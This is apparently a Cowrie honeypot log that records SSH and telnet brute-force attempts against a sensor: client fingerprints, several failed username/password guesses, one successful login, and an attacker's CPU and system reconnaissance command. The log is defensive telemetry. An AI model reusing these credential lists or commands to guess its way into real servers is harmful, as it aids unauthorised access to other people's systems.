{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:04:22.154212Z","src_ip":"192.109.200.78","session":"bb4ca8b7c5f4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"drcomadmin","password":"drcomadmin123","message":"login attempt [drcomadmin/drcomadmin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:04:22.513491Z","src_ip":"192.109.200.78","session":"bb4ca8b7c5f4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:04:23.599790Z","src_ip":"192.109.200.78","session":"bb4ca8b7c5f4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.71.75","src_port":53922,"dst_ip":"159.203.135.109","dst_port":23,"session":"4d8173d4b8fe","protocol":"telnet","message":"New connection: 206.189.71.75:53922 (159.203.135.109:23) [session: 4d8173d4b8fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:04:24.926424Z"}
{"eventid":"cowrie.session.closed","duration":36.35937166213989,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:04:26.087285Z","src_ip":"206.189.71.75","session":"d0d6d90dddaa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":51652,"dst_ip":"10.17.0.5","dst_port":22,"session":"8f520d128363","protocol":"ssh","message":"New connection: 192.109.200.78:51652 (10.17.0.5:22) [session: 8f520d128363]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:04:26.138029Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:04:26.146260Z","src_ip":"192.109.200.78","session":"8f520d128363","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:04:26.232570Z","src_ip":"192.109.200.78","session":"8f520d128363","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mc","password":"mc","message":"login attempt [mc/mc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:04:26.620687Z","src_ip":"192.109.200.78","session":"8f520d128363","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.09576487541199,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:04:26.773263Z","src_ip":"206.189.71.75","session":"0fba54ca81e5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:04:27.706902Z","src_ip":"192.109.200.78","session":"8f520d128363","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.43313026428223,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:04:28.268601Z","src_ip":"206.189.71.75","session":"7272ad0e378d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.61240863800049,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:04:29.192523Z","src_ip":"206.189.71.75","session":"03e11f656876","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":53196,"dst_ip":"10.17.0.5","dst_port":22,"session":"9ec56244b288","protocol":"ssh","message":"New connection: 192.109.200.78:53196 (10.17.0.5:22) [session: 9ec56244b288]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:04:30.311848Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:04:30.317598Z","src_ip":"192.109.200.78","session":"9ec56244b288","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:04:30.401409Z","src_ip":"192.109.200.78","session":"9ec56244b288","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vncuser","password":"123456","message":"login attempt [vncuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:04:30.660919Z","src_ip":"192.109.200.78","session":"9ec56244b288","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:04:31.745290Z","src_ip":"192.109.200.78","session":"9ec56244b288","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":53204,"dst_ip":"10.17.0.5","dst_port":22,"session":"3a9f8de310fe","protocol":"ssh","message":"New connection: 192.109.200.78:53204 (10.17.0.5:22) [session: 3a9f8de310fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:04:34.443236Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:04:34.447940Z","src_ip":"192.109.200.78","session":"3a9f8de310fe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:04:34.530596Z","src_ip":"192.109.200.78","session":"3a9f8de310fe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwerty123","message":"login attempt [root/qwerty123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:04:34.787494Z","src_ip":"192.109.200.78","session":"3a9f8de310fe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:04:35.905872Z","src_ip":"192.109.200.78","session":"3a9f8de310fe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.71.75","src_port":35956,"dst_ip":"159.203.135.109","dst_port":23,"session":"a940e037fc4a","protocol":"telnet","message":"New connection: 206.189.71.75:35956 (159.203.135.109:23) [session: a940e037fc4a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:04:36.694211Z"}
{"eventid":"cowrie.session.closed","duration":33.38021492958069,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:04:39.355326Z","src_ip":"206.189.71.75","session":"851673086b1e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":34062,"dst_ip":"10.17.0.5","dst_port":22,"session":"c6e6372e1369","protocol":"ssh","message":"New connection: 192.109.200.78:34062 (10.17.0.5:22) [session: c6e6372e1369]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:04:39.599721Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:04:39.606549Z","src_ip":"192.109.200.78","session":"c6e6372e1369","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:04:39.693222Z","src_ip":"192.109.200.78","session":"c6e6372e1369","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pg","password":"pg","message":"login attempt [pg/pg] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:04:39.942109Z","src_ip":"192.109.200.78","session":"c6e6372e1369","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":35228,"dst_ip":"159.203.135.109","dst_port":22,"session":"5300de97b11e","protocol":"ssh","message":"New connection: 159.203.92.129:35228 (159.203.135.109:22) [session: 5300de97b11e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:04:40.812299Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:04:40.817385Z","src_ip":"159.203.92.129","session":"5300de97b11e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:04:40.822903Z","src_ip":"159.203.92.129","session":"5300de97b11e","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"Admin@1234","message":"login attempt [admin/Admin@1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:04:40.837541Z","src_ip":"159.203.92.129","session":"5300de97b11e","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:04:40.887737Z","src_ip":"159.203.92.129","session":"5300de97b11e","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo|grep name|cut -f2 -d':'|uniq -c ; uname -a","message":"CMD: cat /proc/cpuinfo|grep name|cut -f2 -d':'|uniq -c ; uname -a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:04:40.891413Z","src_ip":"159.203.92.129","session":"5300de97b11e","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"cut -f2 -d:","message":"Command not found: cut -f2 -d:","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:04:40.895350Z","src_ip":"159.203.92.129","session":"5300de97b11e","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c29dde80c80bb67ef0ee3a8d1ab64e8dd1e110be2695fd46a882c89470f5a887","size":111,"shasum":"c29dde80c80bb67ef0ee3a8d1ab64e8dd1e110be2695fd46a882c89470f5a887","duplicate":true,"duration":"0.0","message":"Closing TTY Log: var/lib/cowrie/tty/c29dde80c80bb67ef0ee3a8d1ab64e8dd1e110be2695fd46a882c89470f5a887 after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:04:40.908386Z","src_ip":"159.203.92.129","session":"5300de97b11e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:04:40.913598Z","src_ip":"159.203.92.129","session":"5300de97b11e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:04:41.043617Z","src_ip":"192.109.200.78","session":"c6e6372e1369","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":34072,"dst_ip":"10.17.0.5","dst_port":22,"session":"b0b26cb6d29f","protocol":"ssh","message":"New connection: 192.109.200.78:34072 (10.17.0.5:22) [session: b0b26cb6d29f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:04:42.607213Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:04:42.611784Z","src_ip":"192.109.200.78","session":"b0b26cb6d29f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:04:42.695100Z","src_ip":"192.109.200.78","session":"b0b26cb6d29f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.296924114227295,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:04:42.908520Z","src_ip":"206.189.71.75","session":"c349d053ebf1","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"12345qwert","message":"login attempt [root/12345qwert] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:04:43.147221Z","src_ip":"192.109.200.78","session":"b0b26cb6d29f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:04:44.233527Z","src_ip":"192.109.200.78","session":"b0b26cb6d29f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.71.75","src_port":42904,"dst_ip":"159.203.135.109","dst_port":23,"session":"c25db4d734b0","protocol":"telnet","message":"New connection: 206.189.71.75:42904 (159.203.135.109:23) [session: c25db4d734b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:04:44.382944Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.71.75","src_port":42740,"dst_ip":"159.203.135.109","dst_port":23,"session":"d14a4af8bae4","protocol":"telnet","message":"New connection: 206.189.71.75:42740 (159.203.135.109:23) [session: d14a4af8bae4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:04:45.196944Z"}
